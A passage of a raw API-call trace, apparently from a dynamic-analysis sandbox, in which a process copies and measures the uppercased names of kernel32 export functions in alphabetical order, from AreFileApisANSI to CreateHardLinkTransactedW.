[0055.337] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.337] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.337] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.338] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.338] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.338] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.338] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.338] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.338] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.338] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.338] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.338] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.338] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.338] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.338] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.338] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.338] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.338] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.338] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.338] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.339] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.339] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.339] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.339] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.339] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.339] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.339] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.339] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.339] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.339] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.339] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.339] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.339] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.339] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.339] lstrlenA (lpString="BEEP") returned 4 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.339] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.339] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.340] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.340] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.340] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.340] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.340] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.340] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.340] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.340] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.340] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.340] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.340] lstrlenA (lpString="CANCELIO") returned 8 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.340] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.340] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.340] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.340] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.340] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.340] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.340] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.341] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.341] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.341] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.341] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.341] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.341] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.341] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.341] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.341] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.341] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.341] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.341] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.341] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.341] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.341] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.341] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.341] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.342] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.342] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.342] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.342] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.342] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.342] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.342] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.342] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.342] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.342] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.342] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.342] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.342] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.342] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.342] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.342] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.342] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.343] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.343] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.343] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.343] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.343] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.343] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.343] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.343] lstrlenA (lpString="COPYFILEA") returned 9 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.343] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.343] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.343] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.343] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.343] lstrlenA (lpString="COPYFILEW") returned 9 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.343] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.343] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.343] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.343] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.344] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.344] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.344] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.344] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.344] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.344] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.344] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.344] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.344] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.344] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.344] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.345] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.345] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.345] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.345] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.345] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.345] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.345] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.345] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.345] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.345] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.345] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.345] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.345] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.345] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.345] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.345] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") 